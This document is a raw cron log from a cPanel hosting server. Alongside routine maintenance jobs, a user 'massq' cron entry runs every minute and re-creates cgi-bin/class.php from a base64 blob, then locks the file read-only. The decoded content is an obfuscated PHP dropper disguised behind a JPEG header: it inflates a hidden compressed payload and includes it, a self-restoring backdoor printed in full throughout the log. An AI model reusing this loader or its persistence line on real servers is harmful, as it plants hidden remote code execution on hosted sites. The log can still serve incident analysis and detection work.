Aug 30 11:53:01 server CROND[14557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:54:01 server CROND[14921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:54:01 server CROND[14922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:54:01 server CROND[14923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:55:01 server CROND[15401]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:55:01 server CROND[15404]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:55:01 server CROND[15405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:55:01 server CROND[15407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:55:01 server CROND[15406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:55:01 server CROND[15408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:55:01 server CROND[15403]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:56:01 server CROND[16231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:56:01 server CROND[16232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:56:01 server CROND[16233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:57:01 server CROND[16607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:57:01 server CROND[16608]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:57:01 server CROND[16609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:57:01 server CROND[16610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:58:01 server CROND[16974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:58:01 server CROND[16976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:58:01 server CROND[16975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:59:01 server CROND[17352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:59:01 server CROND[17353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:59:01 server CROND[17354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:00:01 server CROND[17833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:00:01 server CROND[17834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:00:01 server CROND[17839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:00:01 server CROND[17848]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 12:00:01 server CROND[17842]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Aug 30 12:00:01 server CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:00:01 server CROND[17846]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 12:00:01 server CROND[17851]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:00:01 server CROND[17855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:00:01 server CROND[17853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:00:01 server CROND[17856]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:01:01 server CROND[18775]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 12:01:01 server CROND[18776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:01:01 server CROND[18777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:01:01 server CROND[18778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:01:01 server run-parts(/etc/cron.hourly)[18775]: starting 0anacron
Aug 30 12:01:01 server run-parts(/etc/cron.hourly)[18798]: finished 0anacron
Aug 30 12:02:01 server CROND[19160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:02:01 server CROND[19161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:02:01 server CROND[19162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:03:01 server CROND[19541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:03:01 server CROND[19542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:03:01 server CROND[19543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:04:01 server CROND[19928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:04:01 server CROND[19929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:04:01 server CROND[19930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
